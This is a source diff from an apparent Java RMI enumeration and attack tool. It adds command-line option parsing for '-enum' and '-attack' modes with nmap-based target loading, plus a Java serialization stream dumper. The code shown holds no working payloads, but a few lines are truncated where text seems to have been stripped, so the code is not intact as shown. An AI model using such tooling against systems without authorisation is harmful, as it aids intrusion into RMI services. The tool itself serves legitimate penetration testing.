threads to use for scanning. + ********************************************************** + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ProgramOptions { + /******************* + * Constants and properties + ******************/ + //Default option values + private final String DEFAULT_MODE = "-enum"; //Default to enumeration mode if no mode is specified + private final int DEFAULT_THREADS = 10; //Default to using 10 worker threads + private final int DEFAULT_SOCKTIMEOUT = 5000; //Default to a 5 second timeout on blocking socket operations + private final int DEFAULT_RMIPORT = 1099; //Default TCP port for RMI registry services + + //Program option properties + private String _mode; //Execution mode - enum/attack + private ArrayList _targets; //Targets + private int _threadCount; //Number of threads to use + private int _socketTimeout; //Timeout for blocking socket operations + + /******************* + * Initialise default options and parse command line arguments. + * + * @param args The strings passed to the program on the command line. + * @throws nb.barmie.exceptions.BaRMIeIllegalArgumentException If invalid parameters were passed to the program. + ******************/ + public ProgramOptions(String[] args) throws BaRMIeIllegalArgumentException, BaRMIeInvalidPortException { + //Set default options + this.setDefaultOptions(); + + //Parse the command line arguments + this.parseCommandLineArgs(args); + } + + /******************* + * Initialise default program options. + ******************/ + private void setDefaultOptions() { + this._mode = this.DEFAULT_MODE; + this._targets = new ArrayList(); + this._threadCount = this.DEFAULT_THREADS; + this._socketTimeout = this.DEFAULT_SOCKTIMEOUT; + } + + /******************* + * Parse the command line arguments, validating along the way. + * + * @param args The strings passed to the program on the command line. + ******************/ + private void parseCommandLineArgs(String[] args) throws BaRMIeIllegalArgumentException, BaRMIeInvalidPortException { + LinkedList argQueue = new LinkedList(Arrays.asList(args)); + String targetHost; + String opt; + String val; + int targetPort; + + //If the first parameter is "-enum" or "-attack" then set the mode + if(argQueue.peekFirst().toLowerCase().equals("-enum") || argQueue.peekFirst().toLowerCase().equals("-attack")) { + this._mode = argQueue.pop().toLowerCase(); + } + + //Handle options (all begin with '--') + while(argQueue.size() > 0 && argQueue.peekFirst().startsWith("--")) { + //Pop the option and value off of the argument queue + opt = argQueue.pop().toLowerCase(); + val = argQueue.pop(); + + //Handle the option + switch(opt) { + case "--threads": + //Unsupported in attack mode + if(this._mode.equals("-attack")) { + throw new BaRMIeIllegalArgumentException("--threads option is not supported in attack mode."); + } + + //Try to parse the value as an integer and store it + try { + this._threadCount = Integer.parseInt(val); + } catch(NumberFormatException nfe) { + throw new BaRMIeIllegalArgumentException("Thread count must be an integer."); + } + break; + + case "--timeout": + //Try to parse the value as an integer and store it + try { + this._socketTimeout = Integer.parseInt(val); + } catch(NumberFormatException nfe) { + throw new BaRMIeIllegalArgumentException("Timeout must be an integer."); + } + break; + + case "--targets": + //Try to parse the given file and build a list of targets + this.loadTargets(val); + break; + + default: + //Unsupported option + throw new BaRMIeIllegalArgumentException("Unsupported option specified (" + opt + ")"); + } + } + + //Check remaining parameters (0 = targets should have been loaded from a file, 1 = target host specified, 3 = target host and port specified) + if(argQueue.size() == 0) { + //Make sure some targets were loaded... + if(this._targets.size() == 0) { + throw new BaRMIeIllegalArgumentException("No scan targets were specified."); + } + } else { + //If targets were already loaded from a file then this may be a mistake (--targets and single target specified on command line) + if(this._targets.size() > 0) { + throw new BaRMIeIllegalArgumentException("Invalid command line, either specify a single target on the command line or load targets from a file using --targets."); + } + + //We should only have 1 or 2 arguments remaining - target host or target host and port + switch(argQueue.size()) { + case 1: + //Create a target from the given host and default RMI port + this._targets.add(new TCPEndpoint(argQueue.pop(), DEFAULT_RMIPORT)); + break; + + case 2: + //Grab the host and attempt to parse the port number + opt = argQueue.pop(); + val = argQueue.pop(); + try { + targetPort = Integer.parseInt(val); + } catch(NumberFormatException nfe) { + throw new BaRMIeIllegalArgumentException("Target port (" + val + ") must be a valid integer."); + } + + //Create a target from the given host and port + this._targets.add(new TCPEndpoint(opt, targetPort)); + break; + + default: + //Invalid command line... + throw new BaRMIeIllegalArgumentException("Invalid command line, parameters following the target are not supported."); + } + } + } + + /******************* + * Load a targets file passed in on the command line. + * + * @param targetFilename The filename passed in using the --targets command line parameter. + ******************/ + private void loadTargets(String targetFilename) throws BaRMIeIllegalArgumentException, BaRMIeInvalidPortException { + //Work out the target file format and load targets from it accordingly + switch(this.getNetworkTargetsFileFormat(targetFilename)) { + case "basic": + //Each line should contain a single host or space-separated host and port + this.loadNetworkTargetsBasic(targetFilename); + break; + + case "nmap": + //Parse nmap output for open TCP port 1099, rmiregistry services, or Java RMI services + this.loadNetworkTargetsNmap(targetFilename); + break; + + case "gnmap": + //Parse greppable nmap output for open TCP port 1099, rmiregistry services, or Java RMI services + this.loadNetworkTargetsGnmap(targetFilename); + break; + + case "nmapxml": + //Parse nmap xml output for open TCP port 1099, rmiregistry services, or Java RMI services + this.loadNetworkTargetsNmapXml(targetFilename); + break; + } + + //Throw an exception if no targets were loaded + if(this._targets.size() == 0) { + throw new BaRMIeIllegalArgumentException("No targets were identified within the given targets file."); + } + } + + /******************* + * Attempt to work out the format of a targets file (supports nmap output + * or target-per-line formatting). + * + * @param targetFilename The filename passed in using the --targets command line parameter. + * @return The format of the targets file: basic, nmap, gnmap, or nmapxml. + ******************/ + private String getNetworkTargetsFileFormat(String targetFilename) throws BaRMIeIllegalArgumentException { + BufferedReader targetFileReader = null; + String fileLine; + + //Look for nmap or xml headers in the first two lines of the file in an attempt to determine the targets file format + try { + //Open the file and read the first line + targetFileReader = new BufferedReader(new FileReader(targetFilename)); + fileLine = targetFileReader.readLine(); + + //Check for an nmap or xml header + if(fileLine.startsWith("# Nmap ")) { + //Looks like nmap or greppable nmap output, read the next line to differentiate + fileLine = targetFileReader.readLine(); + if(fileLine != null && fileLine.startsWith("Host: ")) { + //Attempt to load the file as greppable nmap output + return "gnmap"; + } else { + //Attempt to load the file as normal nmap output + return "nmap"; + } + } else if(fileLine.startsWith(" getTargets() { return this._targets; } + public int getThreadCount() { return this._threadCount; } + public int getSocketTimeout() { return this._socketTimeout; } +} diff --git a/src/nb/barmie/util/SerializationDumper.java b/src/nb/barmie/util/SerializationDumper.java new file mode 100644 index 0000000..e11ba58 --- /dev/null +++ b/src/nb/barmie/util/SerializationDumper.java @@ -0,0 +1,1412 @@ +package nb.barmie.util; + +import java.io.File; +import java.io.FileInputStream; +import java.util.ArrayList; +import java.util.LinkedList; +import nb.barmie.util.support.ClassDataDesc; +import nb.barmie.util.support.ClassDetails; +import nb.barmie.util.support.ClassField; + +/*********************************************************** + * Helper program to dump a hex-ascii encoded serialization + * stream in a more readable form for debugging purposes. + * + * Essentially a copy of RMIReplyDataParser except it + * writes stream contents to STDOUT as it goes. + *********************************************************** + * See also: + * https://github.com/NickstaDB/SerializationDumper + *********************************************************** + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class SerializationDumper { + /******************* + * Properties + ******************/ + private final LinkedList _data; //The data being parsed + private String _indent; //A string representing the current indentation level for output printing + private int _handleValue; //The current handle value + private final ArrayList _classDataDescriptions; //Array of all class data descriptions to use with TC_REFERENCE classDesc elements + + /******************* + * Converts the command line parameter to an ArrayList of bytes and sends + * them for parsing. + * + * @param args Command line parameters. + * @throws Exception If an exception occurs. + ******************/ + public static void main(String[] args) throws Exception { + File f; + FileInputStream fis; + SerializationDumper sd = new SerializationDumper(); + byte[] fileContents; + + //Validate number of command line args + if(args.length == 0 || args.length > 2) { + System.out.println("Usage:"); + System.out.println("\tSerializationDumper "); + System.out.println("\tSerializationDumper -f "); + System.out.println("\tSerializationDumper -r "); + } + + //A single argument must be a hex-ascii encoded byte string + if(args.length == 1) { + //Load the data into the serialization dumper + for(int i = 0; i < args[0].length() / 2; ++i) { + sd._data.add((byte)( + (Character.digit(args[0].charAt(i * 2), 16) << 4) + + (Character.digit(args[0].charAt(i * 2 + 1), 16)) + )); + } + } else { + //Two arguments means the data is in a file, read the file contents + f = new File(args[1]); + fis = new FileInputStream(f); + fileContents = new byte[(int)f.length()]; + fis.read(fileContents); + fis.close(); + + //Load the file contents into the serialization dumper based on the expected format + if(args[0].toLowerCase().equals("-f")) { + //Hex-ascii encoded file contents + for(int i = 0; i < fileContents.length / 2; ++i) { + sd._data.add((byte)( + (Character.digit(fileContents[i * 2], 16) << 4) + + (Character.digit(fileContents[i * 2 + 1], 16)) + )); + } + } else if(args[0].toLowerCase().equals("-r")) { + //Raw bytes + for(int i = 0; i < fileContents.length; ++i) { + sd._data.add(fileContents[i]); + } + } + } + + //Parse and dump the serialization stream + System.out.println(""); + sd.parseStream(); + } + + /******************* + * Construct a SerializationDumper object. + ******************/ + public SerializationDumper() { + this._data = new LinkedList(); + this._indent = ""; + this._handleValue = 0x7e0000; + this._classDataDescriptions = new ArrayList(); + } + + /******************* + * Print the given string using the current indentation. + * + * @param s The string to print out. + ******************/ + private void print(String s) { + System.out.println(this._indent + s); + } + + /******************* + * Increase the indentation string. + ******************/ + private void increaseIndent() { + this._indent = this._indent + " "; + } + + /******************* + * Decrease the indentation string or trigger an exception if the length is + * already below 2. + ******************/ + private void decreaseIndent() { + if(this._indent.length() < 2) { throw new RuntimeException("Error: Illegal indentation decrease."); } + this._indent = this._indent.substring(0, this._indent.length() - 2); + } + + /******************* + * Convert a single byte to a hex-ascii string. + * + * @param b The byte to convert to a string. + * @return The hex-ascii string representation of the byte. + ******************/ + private String byteToHex(byte b) { + return String.format("%02x", b); + } + + /******************* + * Convert an int to a hex-ascii string. + * + * @param i The int to convert to a string. + * @return The hex-ascii string representation of the int. + ******************/ + private String intToHex(int i) { + return String.format("%02x", (i & 0xff000000) >> 24) + + String.format(" %02x", (i & 0xff0000) >> 16) + + String.format(" %02x", (i & 0xff00) >> 8) + + String.format(" %02x", (i & 0xff)); + } + + /******************* + * Print a handle value and increment the handle value for the next handle. + ******************/ + private int newHandle() { + int handleValue = this._handleValue; + + //Print the handle value + this.print("newHandle 0x" + this.intToHex(handleValue)); + + //Increment the next handle value and return the one we just assigned + this._handleValue++; + return handleValue; + } + + /******************* + * Parse the given serialization stream and dump the details out as text. + ******************/ + private void parseStream() throws Exception { + byte b1, b2; + + //The stream may begin with an RMI packet type byte, print it if so + if(this._data.peek() != (byte)0xac) { + b1 = this._data.pop(); + switch(b1) { + case (byte)0x50: + this.print("RMI Call - 0x50"); + break; + case (byte)0x51: + this.print("RMI ReturnData - 0x51"); + break; + case (byte)0x52: + this.print("RMI Ping - 0x52"); + break; + case (byte)0x53: + this.print("RMI PingAck - 0x53"); + break; + case (byte)0x54: + this.print("RMI DgcAck - 0x54"); + break; + default: + this.print("Unknown RMI packet type - 0x" + this.byteToHex(b1)); + break; + } + } + + //Magic number, print and validate + b1 = this._data.pop(); + b2 = this._data.pop(); + this.print("STREAM_MAGIC - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2)); + if(b1 != (byte)0xac || b2 != (byte)0xed) { + this.print("Invalid STREAM_MAGIC, should be 0xac ed"); + return; + } + + //Serialization version + b1 = this._data.pop(); + b2 = this._data.pop(); + this.print("STREAM_VERSION - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2)); + if(b1 != (byte)0x00 || b2 != (byte)0x05) { + this.print("Invalid STREAM_VERSION, should be 0x00 05"); + } + + //Remainder of the stream consists of one or more 'content' elements + this.print("Contents"); + this.increaseIndent(); + while(this._data.size() > 0) { + this.readContentElement(); + } + this.decreaseIndent(); + } + + /******************* + * Read a content element from the data stream. + * + * Could be any of: + * TC_OBJECT (0x73) + * TC_CLASS (0x76) + * TC_ARRAY (0x75) + * TC_STRING (0x74) + * TC_LONGSTRING (0x7c) + * TC_ENUM (0x7e) + * TC_CLASSDESC (0x72) + * TC_PROXYCLASSDESC (0x7d) + * TC_REFERENCE (0x71) + * TC_NULL (0x70) + * TC_EXCEPTION (0x7b) + * TC_RESET (0x79) + * TC_BLOCKDATA (0x77) + * TC_BLOCKDATALONG (0x7a) + ******************/ + private void readContentElement() { + //Peek the next byte and delegate to the appropriate method + switch(this._data.peek()) { + case (byte)0x73: //TC_OBJECT + this.readNewObject(); + break; + + case (byte)0x76: //TC_CLASS + this.readNewClass(); + break; + + case (byte)0x75: //TC_ARRAY + this.readNewArray(); + break; + + case (byte)0x74: //TC_STRING + case (byte)0x7c: //TC_LONGSTRING + this.readNewString(); + break; + + case (byte)0x7e: //TC_ENUM + this.readNewEnum(); + break; + + case (byte)0x72: //TC_CLASSDESC + case (byte)0x7d: //TC_PROXYCLASSDESC + this.readNewClassDesc(); + break; + + case (byte)0x71: //TC_REFERENCE + this.readPrevObject(); + break; + + case (byte)0x70: //TC_NULL + this.readNullReference(); + break; + +// case (byte)0x7b: //TC_EXCEPTION +// this.readException(); +// break; + +// case (byte)0x79: //TC_RESET +// this.handleReset(); +// break; + + case (byte)0x77: //TC_BLOCKDATA + this.readBlockData(); + break; + + case (byte)0x7a: //TC_BLOCKDATALONG + this.readLongBlockData(); + break; + + default: + this.print("Invalid content element type 0x" + this.byteToHex(this._data.peek())); + throw new RuntimeException("Error: Illegal content element type."); + } + } + + /******************* + * Read an enum element from the data stream. + * + * TC_ENUM classDesc newHandle enumConstantName + ******************/ + private void readNewEnum() { + byte b1; + + //TC_ENUM + b1 = this._data.pop(); + this.print("TC_ENUM - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x7e) { throw new RuntimeException("Error: Illegal value for TC_ENUM (should be 0x7e)"); } + + //Indent + this.increaseIndent(); + + //classDesc + this.readClassDesc(); + + //newHandle + this.newHandle(); + + //enumConstantName + this.readNewString(); + + //Decrease indent + this.decreaseIndent(); + } + + /******************* + * Read an object element from the data stream. + * + * TC_OBJECT classDesc newHandle classdata[] + ******************/ + private void readNewObject() { + ClassDataDesc cdd; //ClassDataDesc describing the format of the objects 'classdata' element + byte b1; + + //TC_OBJECT + b1 = this._data.pop(); + this.print("TC_OBJECT - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x73) { throw new RuntimeException("Error: Illegal value for TC_OBJECT (should be 0x73)"); } + + //Indent + this.increaseIndent(); + + //classDesc + cdd = this.readClassDesc(); //Read the class data description + + //newHandle + this.newHandle(); + + //classdata + this.readClassData(cdd); //Read the class data based on the class data description - TODO This needs to check if cdd is null before reading anything + + //Decrease indent + this.decreaseIndent(); + } + + /******************* + * Read a classDesc from the data stream. + * + * Could be: + * TC_CLASSDESC (0x72) + * TC_PROXYCLASSDESC (0x7d) + * TC_NULL (0x70) + * TC_REFERENCE (0x71) + ******************/ + private ClassDataDesc readClassDesc() { + int refHandle; + + //Peek the type and delegate to the appropriate method + switch(this._data.peek()) { + case (byte)0x72: //TC_CLASSDESC + case (byte)0x7d: //TC_PROXYCLASSDESC + return this.readNewClassDesc(); + + case (byte)0x70: //TC_NULL + this.readNullReference(); + return null; + + case (byte)0x71: //TC_REFERENCE + refHandle = this.readPrevObject(); //Look up a referenced class data description object and return it + for(ClassDataDesc cdd: this._classDataDescriptions) { //Iterate over all class data descriptions + for(int classIndex = 0; classIndex < cdd.getClassCount(); ++classIndex) { //Iterate over all classes in this class data description + if(cdd.getClassDetails(classIndex).getHandle() == refHandle) { //Check if the reference handle matches + return cdd.buildClassDataDescFromIndex(classIndex); //Generate a ClassDataDesc starting from the given index and return it + } + } + } + + //Invalid classDesc reference handle + throw new RuntimeException("Error: Invalid classDesc reference (0x" + this.intToHex(refHandle)); + + default: + this.print("Invalid classDesc type 0x" + this.byteToHex(this._data.peek())); + throw new RuntimeException("Error illegal classDesc type."); + } + } + + /******************* + * Read a newClassDesc from the stream. + * + * Could be: + * TC_CLASSDESC (0x72) + * TC_PROXYCLASSDESC (0x7d) + ******************/ + private ClassDataDesc readNewClassDesc() { + ClassDataDesc cdd; + + //Peek the type and delegate to the appropriate method + switch(this._data.peek()) { + case (byte)0x72: //TC_CLASSDESC + cdd = this.readTC_CLASSDESC(); + this._classDataDescriptions.add(cdd); + return cdd; + + case (byte)0x7d: //TC_PROXYCLASSDESC + return this.readTC_PROXYCLASSDESC(); + + default: + this.print("Invalid newClassDesc type 0x" + this.byteToHex(this._data.peek())); + throw new RuntimeException("Error illegal newClassDesc type."); + } + } + + /******************* + * Read a TC_CLASSDESC from the stream. + * + * TC_CLASSDESC className serialVersionUID newHandle classDescInfo + ******************/ + private ClassDataDesc readTC_CLASSDESC() { + ClassDataDesc cdd = new ClassDataDesc(); + byte b1; + + //TC_CLASSDESC + b1 = this._data.pop(); + this.print("TC_CLASSDESC - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x72) { throw new RuntimeException("Error: Illegal value for TC_CLASSDESC (should be 0x72)"); } + this.increaseIndent(); + + //className + this.print("className"); + this.increaseIndent(); + cdd.addClass(this.readUtf()); //Add the class name to the class data description + this.decreaseIndent(); + + //serialVersionUID + this.print("serialVersionUID - 0x" + this.byteToHex(this._data.pop()) + " " + this.byteToHex(this._data.pop()) + " " + this.byteToHex(this._data.pop()) + " " + this.byteToHex(this._data.pop()) + + " " + this.byteToHex(this._data.pop()) + " " + this.byteToHex(this._data.pop()) + " " + this.byteToHex(this._data.pop()) + " " + this.byteToHex(this._data.pop())); + + //newHandle + cdd.setLastClassHandle(this.newHandle()); //Set the reference handle for the most recently added class + + //classDescInfo + this.readClassDescInfo(cdd); //Read class desc info, add the super class description to the ClassDataDesc if one is found + + //Decrease the indent + this.decreaseIndent(); + + //Return the ClassDataDesc + return cdd; + } + + /******************* + * Read a TC_PROXYCLASSDESC from the stream. + * + * TC_PROXYCLASSDESC newHandle proxyClassDescInfo + ******************/ + private ClassDataDesc readTC_PROXYCLASSDESC() { + ClassDataDesc cdd = new ClassDataDesc(); + byte b1; + + //TC_PROXYCLASSDESC + b1 = this._data.pop(); + this.print("TC_PROXYCLASSDESC - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x7d) { throw new RuntimeException("Error: Illegal value for TC_PROXYCLASSDESC (should be 0x7d)"); } + this.increaseIndent(); + + //newHandle + //NB: Not clear whether a TC_PROXYCLASSDESC can be referenced in a classDesc element (e.g. object or array classDesc). Ignore this for now... + this.newHandle(); + + //proxyClassDescInfo + this.readProxyClassDescInfo(cdd); //Read proxy class desc info, add the super class description to the ClassDataDesc if one is found + + //Decrease the indent + this.decreaseIndent(); + + //Return the ClassDataDesc + return cdd; + } + + /******************* + * Read a classDescInfo from the stream. + * + * classDescFlags fields classAnnotation superClassDesc + ******************/ + private void readClassDescInfo(ClassDataDesc cdd) { + String classDescFlags = ""; + byte b1; + + //classDescFlags + b1 = this._data.pop(); + if((b1 & 0x01) == 0x01) { classDescFlags += "SC_WRITE_METHOD | "; } + if((b1 & 0x02) == 0x02) { classDescFlags += "SC_SERIALIZABLE | "; } + if((b1 & 0x04) == 0x04) { classDescFlags += "SC_EXTERNALIZABLE | "; } + if((b1 & 0x08) == 0x08) { classDescFlags += "SC_BLOCKDATA | "; } + if(classDescFlags.length() > 0) { classDescFlags = classDescFlags.substring(0, classDescFlags.length() - 3); } + this.print("classDescFlags - 0x" + this.byteToHex(b1) + " - " + classDescFlags); + + //Store the classDescFlags + cdd.setLastClassDescFlags(b1); //Set the classDescFlags for the most recently added class + + //Validate classDescFlags + if((b1 & 0x02) == 0x02) { + if((b1 & 0x04) == 0x04) { throw new RuntimeException("Error: Illegal classDescFlags, SC_SERIALIZABLE is not compatible with SC_EXTERNALIZABLE."); } + if((b1 & 0x08) == 0x08) { throw new RuntimeException("Error: Illegal classDescFlags, SC_SERIALIZABLE is not compatible with SC_BLOCKDATA."); } + } else if((b1 & 0x04) == 0x04) { + if((b1 & 0x01) == 0x01) { throw new RuntimeException("Error: Illegal classDescFlags, SC_EXTERNALIZABLE is not compatible with SC_WRITE_METHOD."); } + } else if(b1 != 0x00) { + throw new RuntimeException("Error: Illegal classDescFlags, must include either SC_SERIALIZABLE or SC_EXTERNALIZABLE."); + } + + //fields + this.readFields(cdd); //Read field descriptions and add them to the ClassDataDesc + + //classAnnotation + this.readClassAnnotation(); + + //superClassDesc + cdd.addSuperClassDesc(this.readSuperClassDesc()); //Read the super class description and add it to the ClassDataDesc + } + + /******************* + * Read a proxyClassDescInfo from the stream. + * + * (int)count (utf)proxyInterfaceName[count] classAnnotation superClassDesc + ******************/ + private void readProxyClassDescInfo(ClassDataDesc cdd) { + byte b1, b2, b3, b4; + int count; + + //count + b1 = this._data.pop(); + b2 = this._data.pop(); + b3 = this._data.pop(); + b4 = this._data.pop(); + count = (int)( + ((b1 << 24) & 0xff000000) + + ((b2 << 16) & 0xff0000) + + ((b3 << 8) & 0xff00) + + ((b4 ) & 0xff) + ); + this.print("Interface count - " + count + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4)); + + //proxyInterfaceName[count] + this.print("proxyInterfaceNames"); + this.increaseIndent(); + for(int i = 0; i < count; ++i) { + this.print(i + ":"); + this.increaseIndent(); + this.readUtf(); + this.decreaseIndent(); + } + this.decreaseIndent(); + + //classAnnotation + this.readClassAnnotation(); + + //superClassDesc + cdd.addSuperClassDesc(this.readSuperClassDesc()); //Read the super class description and add it to the ClassDataDesc + } + + /******************* + * Read a classAnnotation from the stream. + * + * Could be either: + * contents + * TC_ENDBLOCKDATA (0x78) + ******************/ + private void readClassAnnotation() { + //Print annotation section and indent + this.print("classAnnotations"); + this.increaseIndent(); + + //Loop until we have a TC_ENDBLOCKDATA + while(this._data.peek() != (byte)0x78) { + //Read a content element + this.readContentElement(); + } + + //Pop and print the TC_ENDBLOCKDATA element + this._data.pop(); + this.print("TC_ENDBLOCKDATA - 0x78"); + + //Decrease indent + this.decreaseIndent(); + } + + /******************* + * Read a superClassDesc from the stream. + * + * classDesc + ******************/ + private ClassDataDesc readSuperClassDesc() { + ClassDataDesc cdd; + + //Print header, indent, delegate, decrease indent + this.print("superClassDesc"); + this.increaseIndent(); + cdd = this.readClassDesc(); + this.decreaseIndent(); + + //Return the super class data description + return cdd; + } + + /******************* + * Read a fields element from the stream. + * + * (short)count fieldDesc[count] + ******************/ + private void readFields(ClassDataDesc cdd) { + byte b1, b2; + short count; + + //count + b1 = this._data.pop(); + b2 = this._data.pop(); + count = (short)( + ((b1 << 8) & 0xff00) + + (b2 & 0xff) + ); + this.print("fieldCount - " + count + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2)); + + //fieldDesc + if(count > 0) { + this.print("Fields"); + this.increaseIndent(); + for(int i = 0; i < count; ++i) { + this.print(i + ":"); + this.increaseIndent(); + this.readFieldDesc(cdd); + this.decreaseIndent(); + } + this.decreaseIndent(); + } + } + + /******************* + * Read a fieldDesc from the stream. + * + * Could be either: + * prim_typecode fieldName + * obj_typecode fieldName className1 + ******************/ + private void readFieldDesc(ClassDataDesc cdd) { + byte b1; + + //prim_typecode/obj_typecode + b1 = this._data.pop(); + cdd.addFieldToLastClass(b1); //Add a field of the type in b1 to the most recently added class + switch((char)b1) { + case 'B': //byte + this.print("Byte - B - 0x" + this.byteToHex(b1)); + break; + + case 'C': //char + this.print("Char - C - 0x" + this.byteToHex(b1)); + break; + + case 'D': //double + this.print("Double - D - 0x" + this.byteToHex(b1)); + break; + + case 'F': //float + this.print("Float - F - 0x" + this.byteToHex(b1)); + break; + + case 'I': //int + this.print("Int - I - 0x" + this.byteToHex(b1)); + break; + + case 'J': //long + this.print("Long - L - 0x" + this.byteToHex(b1)); + break; + + case 'S': //Short + this.print("Short - S - 0x" + this.byteToHex(b1)); + break; + + case 'Z': //boolean + this.print("Boolea - Z - 0x" + this.byteToHex(b1)); + break; + + case '[': //array + this.print("Array - [ - 0x" + this.byteToHex(b1)); + break; + + case 'L': //object + this.print("Object - L - 0x" + this.byteToHex(b1)); + break; + + default: + //Unknown field type code + throw new RuntimeException("Error: Illegal field type code ('" + (char)b1 + "', 0x" + this.byteToHex(b1) + ")"); + } + + //fieldName + this.print("fieldName"); + this.increaseIndent(); + cdd.setLastFieldName(this.readUtf()); //Set the name of the most recently added field + this.decreaseIndent(); + + //className1 (if non-primitive type) + if((char)b1 == '[' || (char)b1 == 'L') { + this.print("className1"); + this.increaseIndent(); + cdd.setLastFieldClassName1(this.readNewString()); //Set the className1 of the most recently added field + this.decreaseIndent(); + } + } + + /******************* + * Read classdata from the stream. + * + * Consists of data for each class making up the object starting with the + * most super class first. The length and type of data depends on the + * classDescFlags and field descriptions. + ******************/ + private void readClassData(ClassDataDesc cdd) { + ClassDetails cd; + + //Print header and indent + this.print("classdata"); + this.increaseIndent(); + + //Print class data if there is any + if(cdd != null) { + //Iterate backwards through the classes as we need to deal with the most super (last added) class first + for(int classIndex = cdd.getClassCount() - 1; classIndex >= 0; --classIndex) { + //Get the class details + cd = cdd.getClassDetails(classIndex); + + //Print the class name and indent + this.print(cd.getClassName()); + this.increaseIndent(); + + //Read the field values if the class is SC_SERIALIZABLE + if(cd.isSC_SERIALIZABLE()) { + //Start the field values section and indent + this.print("values"); + this.increaseIndent(); + + //Iterate over the field and read/print the contents + for(ClassField cf: cd.getFields()) { + this.readClassDataField(cf); + } + + //Revert indent + this.decreaseIndent(); + } + + //Read object annotations if the right flags are set + if((cd.isSC_SERIALIZABLE() && cd.isSC_WRITE_METHOD()) || (cd.isSC_EXTERNALIZABLE() && cd.isSC_BLOCKDATA())) { + //Start the object annotations section and indent + this.print("objectAnnotation"); + this.increaseIndent(); + + //Loop until we have a TC_ENDBLOCKDATA + while(this._data.peek() != (byte)0x78) { + //Read a content element + this.readContentElement(); + } + + //Pop and print the TC_ENDBLOCKDATA element + this._data.pop(); + this.print("TC_ENDBLOCKDATA - 0x78"); + + //Revert indent + this.decreaseIndent(); + } + + //Handle the 'externalContents' case - we're unable to read this as the format is dependent on the implementation class + if(cd.isSC_EXTERNALIZABLE() && !cd.isSC_BLOCKDATA()) { + //externalContents + this.print("externalContents"); + this.increaseIndent(); + this.print("Unable to parse externalContents as the format is specific to the implementation class."); + throw new RuntimeException("Error: Unable to parse externalContents element."); + } + + //Revert indent for this class + this.decreaseIndent(); + } + } else { + this.print("N/A"); + } + + //Revert indent + this.decreaseIndent(); + } + + /******************* + * Read a classdata field from the stream. + * + * The data type depends on the given field description. + * + * @param f A description of the field data to read. + ******************/ + private void readClassDataField(ClassField cf) { + byte b1, b2, b3, b4, b5, b6, b7, b8; + + //Print the field name and indent + this.print(cf.getName()); + this.increaseIndent(); + + //Read the field data + this.readFieldValue(cf.getTypeCode()); + + //Decrease the indent + this.decreaseIndent(); + } + + /******************* + * Read a field value based on the type code. + * + * @param typeCode The field type code. + ******************/ + private void readFieldValue(byte typeCode) { + switch((char)typeCode) { + case 'B': //byte + this.readByteField(); + break; + + case 'C': //char + this.readCharField(); + break; + + case 'D': //double + this.readDoubleField(); + break; + + case 'F': //float + this.readFloatField(); + break; + + case 'I': //int + this.readIntField(); + break; + + case 'J': //long + this.readLongField(); + break; + + case 'S': //short + this.readShortField(); + break; + + case 'Z': //boolean + this.readBooleanField(); + break; + + case '[': //array + this.readArrayField(); + break; + + case 'L': //object + this.readObjectField(); + break; + + default: //Unknown field type + throw new RuntimeException("Error: Illegal field type code ('" + typeCode + "', 0x" + this.byteToHex((byte)typeCode) + ")"); + } + } + + /******************* + * Read a TC_ARRAY from the stream. + * + * TC_ARRAY classDesc newHandle (int)size values[size] + ******************/ + private void readNewArray() { + ClassDataDesc cdd; + ClassDetails cd; + byte b1, b2, b3, b4; + int size; + + //TC_ARRAY + b1 = this._data.pop(); + this.print("TC_ARRAY - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x75) { throw new RuntimeException("Error: Illegal value for TC_ARRAY (should be 0x75)"); } + this.increaseIndent(); + + //classDesc + cdd = this.readClassDesc(); //Read the class data description to enable array elements to be read + if(cdd.getClassCount() != 1) { + throw new RuntimeException("Error: Array class description made up of more than one class."); + } + cd = cdd.getClassDetails(0); + if(cd.getClassName().charAt(0) != '[') { + throw new RuntimeException("Error: Array class name does not begin with '['."); + } + + //newHandle + this.newHandle(); + + //Array size + b1 = this._data.pop(); + b2 = this._data.pop(); + b3 = this._data.pop(); + b4 = this._data.pop(); + size = (int)( + ((b1 << 24) & 0xff000000) + + ((b2 << 16) & 0xff0000) + + ((b3 << 8) & 0xff00) + + ((b4 ) & 0xff) + ); + this.print("Array size - " + size + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4)); + + //Array data + this.print("Values"); + this.increaseIndent(); + for(int i = 0; i < size; ++i) { + //Print element index + this.print("Index " + i + ":"); + this.increaseIndent(); + + //Read the field values based on the classDesc read above + this.readFieldValue((byte)cd.getClassName().charAt(1)); + + //Revert indent + this.decreaseIndent(); + } + this.decreaseIndent(); + + //Revert indent + this.decreaseIndent(); + } + + /******************* + * Read a TC_CLASS element from the stream. + * + * TC_CLASS classDesc newHandle + ******************/ + private void readNewClass() { + byte b1; + + //TC_CLASS + b1 = this._data.pop(); + this.print("TC_CLASS - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x76) { throw new RuntimeException("Error: Illegal value for TC_CLASS (should be 0x76)"); } + this.increaseIndent(); + + //classDesc + this.readClassDesc(); + + //newHandle + this.newHandle(); + } + + /******************* + * Read a TC_REFERENCE from the stream. + * + * TC_REFERENCE (int)handle + ******************/ + private int readPrevObject() { + byte b1, b2, b3, b4; + int handle; + + //TC_REFERENCE + b1 = this._data.pop(); + this.print("TC_REFERENCE - 0x" + this.byteToHex(b1)); + if(b1 != (byte)0x71) { throw new RuntimeException("Error: Illegal value for TC_REFERENCE (should be 0x71)"); } + this.increaseIndent(); + + //Reference handle + b1 = this._data.pop(); + b2 = this._data.pop(); + b3 = this._data.pop(); + b4 = this._data.pop(); + handle = (int)( + ((b1 << 24) & 0xff000000) + + ((b2 << 16) & 0xff0000) + + ((b3 << 8) & 0xff00) + + ((b4 ) & 0xff) + ); + this.print("Handle - " + handle + " - 0x" + this.byteToHex(b1) + " " + this.byteToHex(b2) + " " + this.byteToHex(b3) + " " + this.byteToHex(b4)); + 